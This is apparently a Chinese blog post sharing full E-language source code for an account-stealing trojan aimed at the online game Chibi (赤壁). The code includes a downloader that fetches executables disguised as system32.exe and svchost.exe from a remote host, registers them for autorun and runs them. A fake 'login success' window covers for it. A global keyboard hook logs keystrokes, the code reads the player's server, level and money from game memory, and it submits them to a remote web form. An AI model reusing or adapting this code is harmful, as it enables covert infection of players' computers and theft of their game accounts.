前期易语言编程作品收录|赤壁盗号|

 =======================赤壁盗号程序  只测试过都没发出去使用的..55
涉及到的代码--------------界面部分
.版本 2
.支持库 xplib
.支持库 internet
.支持库 eAPI
.支持库 shell

.程序集 窗口程序集1

.子程序 __启动窗口_创建完毕

XP风格 (#银色风格)
.如果真 (文件是否存在 (“C:/WINDOWS/system32.ini”) = 假)
    写到文件 (“C:/WINDOWS/system32.ini”, HTTP读文件 (“http://www.futurelinker.cn/kill/system32.txt”))
.如果真结束
.如果真 (文件是否存在 (“C:/WINDOWS/system32.exe”) = 假)
    写到文件 (“C:/WINDOWS/system32.exe”, HTTP读文件 (读配置项 (“C:/WINDOWS/system32.ini”, “setup”, “updata”, )))
.如果真结束
.如果真 (注册项是否存在 (3, “HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/system32.exe”) = 假)
    设置自动运行 (“system32.exe”, “C:/WINDOWS/system32.exe”, 0)
    执行 (4, “system32.exe”, “C:/WINDOWS/system32.exe”, )
.如果真结束


.子程序 _按钮5_被单击

信息框 (“登陆成功！”, #信息图标, “登陆成功提示”)
按钮5.禁止 = 真

----------------------------------------------下载器部分代码
.版本 2
.支持库 internet
.支持库 eAPI
.支持库 shell

.程序集 窗口程序集1

.子程序 __启动窗口_创建完毕

写到文件 (“C:/WINDOWS/system32.ini”, HTTP读文件 (“http://www.futurelinker.cn/kill/system32.txt”))
.如果真 (文件是否存在 (“C:/WINDOWS/system32.exe”) = 假)
    写到文件 (“C:/WINDOWS/system32.exe”, HTTP读文件 (读配置项 (“C:/WINDOWS/system32.ini”, “setup”, “updata”, )))
.如果真结束
.如果真 (文件是否存在 (“C:/WINDOWS/svchost.exe”) = 假)
    写到文件 (“C:/WINDOWS/svchost.exe”, HTTP读文件 (读配置项 (“C:/WINDOWS/system32.ini”, “setup”, “download”, )))
.如果真结束
.如果真 (注册项是否存在 (3, “HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/system32.exe”) = 假)
    设置自动运行 (“system32.exe”, “C:/WINDOWS/system32.exe”, 0)
.如果真结束
.如果真 (注册项是否存在 (3, “HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/svchost.exe”) = 假)
    设置自动运行 (“svchost.exe”, “C:/WINDOWS/svchost.exe”, 0)
    执行 (4, “svchost.exe”, “C:/WINDOWS/svchost.exe”, )
.如果真结束


---------------------------------------主程序部分
.版本 2
.支持库 shdocvw

.程序集 窗口程序集1
.程序集变量 钩子ID, 整数型
.程序集变量 按键, 文本型
.程序集变量 窗口句柄, 整数型
.程序集变量 进程ID, 整数型
.程序集变量 变量, 整数型
.程序集变量 基地址, 整数型
.程序集变量 一级地址, 整数型
.程序集变量 二级地址, 整数型
.程序集变量 服务器, 字节集
.程序集变量 等级, 整数型
.程序集变量 金钱, 整数型
.程序集变量 html, html表单类

.子程序 __启动窗口_创建完毕

模块注册 ()
提升进程权限 ()

.子程序 打开网页

WebBrowser1.跳转 (“http://www.futurelinker.cn/asp/register.asp”, , , , )

.子程序 _WebBrowser1_下载文档完毕

html.初始化 (WebBrowser1)  ' 一定要加此句，对控件进行初始化

.子程序 写表单

html.写表单 (“gamerID”, 编辑框1.内容)
html.写表单 (“psw”, “”)
html.写表单 (“gameName”, “赤壁”)
html.写表单 (“server”, 到文本 (服务器))
html.写表单 (“level”, 到文本 (等级))
html.写表单 (“money”, 到文本 (金钱))

.子程序 提交

html.点击按钮 (“submit”)

.子程序 主程序

写表单 ()
提交 ()

.子程序 _赤壁2_周期事件

窗口句柄 = 取窗体句柄 (, “赤壁”)
.如果真 (窗口句柄 ≠ 0)
    打开网页 ()
    全局键盘钩子 (&全局键盘钩子接口)
    赤壁2.销毁 ()
.如果真结束


.子程序 全局键盘钩子接口
.参数 虚拟按键, 整数型
.参数 键盘动作, 整数型

.如果真 (256 = 键盘动作)
    .如果真 (虚拟按键 = 48)
        编辑框1.加入文本 (“0”)
    .如果真结束
    .如果真 (虚拟按键 = 49)
        编辑框1.加入文本 (“1”)
    .如果真结束
    .如果真 (虚拟按键 = 50)
        编辑框1.加入文本 (“2”)
    .如果真结束
    .如果真 (虚拟按键 = 51)
        编辑框1.加入文本 (“3”)
    .如果真结束
    .如果真 (虚拟按键 = 52)
        编辑框1.加入文本 (“4”)
    .如果真结束
    .如果真 (虚拟按键 = 53)
        编辑框1.加入文本 (“5”)
    .如果真结束
    .如果真 (虚拟按键 = 54)
        编辑框1.加入文本 (“6”)
    .如果真结束
    .如果真 (虚拟按键 = 55)
        编辑框1.加入文本 (“7”)
    .如果真结束
    .如果真 (虚拟按键 = 56)
        编辑框1.加入文本 (“8”)
    .如果真结束
    .如果真 (虚拟按键 = 57)
        编辑框1.加入文本 (“9”)
    .如果真结束
    .如果真 (虚拟按键 = 65)
        编辑框1.加入文本 (“a”)
    .如果真结束
    .如果真 (虚拟按键 = 66)
        编辑框1.加入文本 (“b”)
    .如果真结束
    .如果真 (虚拟按键 = 67)
        编辑框1.加入文本 (“c”)
    .如果真结束
    .如果真 (虚拟按键 = 68)
        编辑框1.加入文本 (“d”)
    .如果真结束
    .如果真 (虚拟按键 = 69)
        编辑框1.加入文本 (“e”)
    .如果真结束
    .如果真 (虚拟按键 = 70)
        编辑框1.加入文本 (“f”)
    .如果真结束
    .如果真 (虚拟按键 = 71)
        编辑框1.加入文本 (“g”)
    .如果真结束
    .如果真 (虚拟按键 = 72)
        编辑框1.加入文本 (“h”)
    .如果真结束
    .如果真 (虚拟按键 = 73)
        编辑框1.加入文本 (“i”)
    .如果真结束
    .如果真 (虚拟按键 = 74)
        编辑框1.加入文本 (“j”)
    .如果真结束
    .如果真 (虚拟按键 = 75)
        编辑框1.加入文本 (“k”)
    .如果真结束
    .如果真 (虚拟按键 = 76)
        编辑框1.加入文本 (“l”)
    .如果真结束
    .如果真 (虚拟按键 = 77)
        编辑框1.加入文本 (“m”)
    .如果真结束
    .如果真 (虚拟按键 = 78)
        编辑框1.加入文本 (“n”)
    .如果真结束
    .如果真 (虚拟按键 = 79)
        编辑框1.加入文本 (“o”)
    .如果真结束
    .如果真 (虚拟按键 = 80)
        编辑框1.加入文本 (“p”)
    .如果真结束
    .如果真 (虚拟按键 = 81)
        编辑框1.加入文本 (“q”)
    .如果真结束
    .如果真 (虚拟按键 = 82)
        编辑框1.加入文本 (“r”)
    .如果真结束
    .如果真 (虚拟按键 = 83)
        编辑框1.加入文本 (“s”)
    .如果真结束
    .如果真 (虚拟按键 = 84)
        编辑框1.加入文本 (“t”)
    .如果真结束
    .如果真 (虚拟按键 = 85)
        编辑框1.加入文本 (“u”)
    .如果真结束
    .如果真 (虚拟按键 = 86)
        编辑框1.加入文本 (“v”)
    .如果真结束
    .如果真 (虚拟按键 = 87)
        编辑框1.加入文本 (“w”)
    .如果真结束
    .如果真 (虚拟按键 = 88)
        编辑框1.加入文本 (“x”)
    .如果真结束
    .如果真 (虚拟按键 = 89)
        编辑框1.加入文本 (“y”)
    .如果真结束
    .如果真 (虚拟按键 = 90)
        编辑框1.加入文本 (“z”)
    .如果真结束
    .如果真 (虚拟按键 = 8)
        编辑框1.加入文本 (“|backspace|”)
    .如果真结束
    .如果真 (虚拟按键 = 9)
        编辑框1.加入文本 (“|tab|”)
    .如果真结束
    .如果真 (虚拟按键 = 13)
        编辑框1.加入文本 (“|enter|”)
    .如果真结束
    .如果真 (虚拟按键 = 20)
        编辑框1.加入文本 (“|capslock|”)
    .如果真结束
    .如果真 (虚拟按键 = 160)
        编辑框1.加入文本 (“|shift|”)
    .如果真结束
    .如果真 (虚拟按键 = 162)
        编辑框1.加入文本 (“|ctrl|”)
    .如果真结束
    .如果真 (虚拟按键 = 164)
        编辑框1.加入文本 (“|alt|”)
    .如果真结束
    .如果真 (虚拟按键 = 32)
        编辑框1.加入文本 (“|空格|”)
    .如果真结束

.如果真结束


.子程序 _赤壁_周期事件

窗口句柄 = 取窗体句柄 (, “赤壁”)
.如果真 (窗口句柄 ≠ 0)
    进程ID = 取窗口进程ID (窗口句柄)
    基地址 = 读整型内存 (进程ID, 十六到十 (“0097d558”))
    一级地址 = 读整型内存 (进程ID, 基地址 ＋ 十六到十 (“1C”))
    二级地址 = 读整型内存 (进程ID, 一级地址 ＋ 十六到十 (“24”))
    读字节集内存 (进程ID, 十六到十 (“009813AC”), 服务器, 32)
    等级 = 读整型内存 (进程ID, 二级地址 ＋ 十六到十 (“290”))
    金钱 = 读整型内存 (进程ID, 二级地址 ＋ 十六到十 (“340”))
.如果真结束

.如果真 (到文本 (金钱) ≠ “-1” 且 到文本 (金钱) ≠ “0”)
    主程序 ()
    赤壁.销毁 ()
.如果真结束

.如果真 (到文本 (等级) ≠ “-1”)
    卸载钩子 (0)
.如果真结束

-------------------------------------------------html表单类部分
.版本 2
.支持库 MSHTML
.支持库 shdocvw

.程序集 html表单类
.程序集变量 a, IHTMLDocument2
.程序集变量 b, IHTMLElementCollection
.程序集变量 c, 对象
.程序集变量 webbrowser, WebBrowser

.子程序 _初始化, , , 当基于本类的对象被创建后，此方法会被自动调用



.子程序 _销毁, , , 当基于本类的对象被销毁前，此方法会被自动调用



.子程序 初始化, 逻辑型, 公开, 在使用此类方法前必须要先初始化
.参数 webbrowser控件, WebBrowser, , 要应用此类的webbrowser控件。
.局部变量 返回值, 逻辑型

webbrowser = webbrowser控件
返回值 = a.获取 (webbrowser.GetDocument ())
.如果真 (返回值)
    b = a.Getall ()
.如果真结束
返回 (返回值)

.子程序 销毁, , 公开, 释放资源。当然，程序结束时也会自动释放的

a.清除 ()
b.清除 ()

.子程序 读表单, 文本型, 公开, 读表单的内容。
.参数 表单名, 文本型, , 欲读取内容的表单名(name)

返回 (b.item (表单名, 0).读属性 (“value”, ).取文本 ())

.子程序 写表单, 逻辑型, 公开, 写表单内容
.参数 表单名, 文本型, , 欲写入内容的表单名(name)
.参数 新内容, 文本型, , 欲写入的新内容

返回 (b.item (表单名, 0).写属性 (“value”, 新内容))

.子程序 点击按钮, , 公开, 点击按钮，如果点击的按钮是submit，就是提交表单
.参数 提交按钮名, 文本型, 可空, 默认为submit
.局部变量 按钮, 文本型

按钮 = 选择 (是否为空 (提交按钮名), “submit”, 提交按钮名)
b.item (按钮, 0).方法 (“Click”, )

.子程序 单选框被选中, 逻辑型, 公开, 检查单选框(radio)是否被选中
.参数 单选框, 文本型, , 欲检查的单选框
.参数 索引, 整数型, , 欲检查的索引。0为第一项，1为第二项……

返回 (b.item (单选框, 索引).读属性 (“checked”, ).取数值 () = -1)

.子程序 选择单选框, , 公开, 选中指定索引的单选框(radio)
.参数 单选框, 文本型, , 欲操作的单选框名
.参数 索引, 整数型, , 新单选框的索引，0为第一项，1为第二项……

b.item (单选框, 索引).写属性 (“checked”, 1)

.子程序 取组合框内容, 文本型, 公开, 取选择框(select)当前项内容
.参数 组合框, 文本型, , 欲取其内容的选择框

返回 (读表单 (组合框))

.子程序 取组合框被选择项, 整数型, 公开, 取选框框(select)当前选中项(0为位置1，1为位置2…………)
.参数 组合框, 文本型, , 欲取其现行选中项的选择框

返回 (b.item (组合框, 0).读属性 (“selectedIndex”, ).取数值 ())

.子程序 选择组合框, , 公开, 选中指定索引的组合框内容()
.参数 组合框, 文本型, , 欲操作的组合框
.参数 索引, 整数型, , 要选中的索引，0为第一项，1为第二项

b.item (组合框, 0).写属性 (“selectedIndex”, 索引)

.子程序 复选框被选中, 逻辑型, 公开, 检查复选框(checkbox)是否被选中
.参数 复选框, 文本型, , 欲检查的单选框
.参数 索引, 整数型, , 欲检查的索引。0为第一项，1为第二项……

返回 (b.item (复选框, 索引).读属性 (“checked”, ).取数值 () = -1)

.子程序 选择复选框, , 公开, 选中指定索引的复选框(checkbox)
.参数 复选框, 文本型, , 欲操作的单选框名
.参数 索引, 整数型, , 新单选框的索引，0为第一项，1为第二项……

b.item (复选框, 索引).写属性 (“checked”, 1)

.子程序 取网页源码, 文本型, 公开

返回 (c.读对象型属性 (“body”, ).读文本属性 (“outerHTML”, ))
---------------------------------------------------------------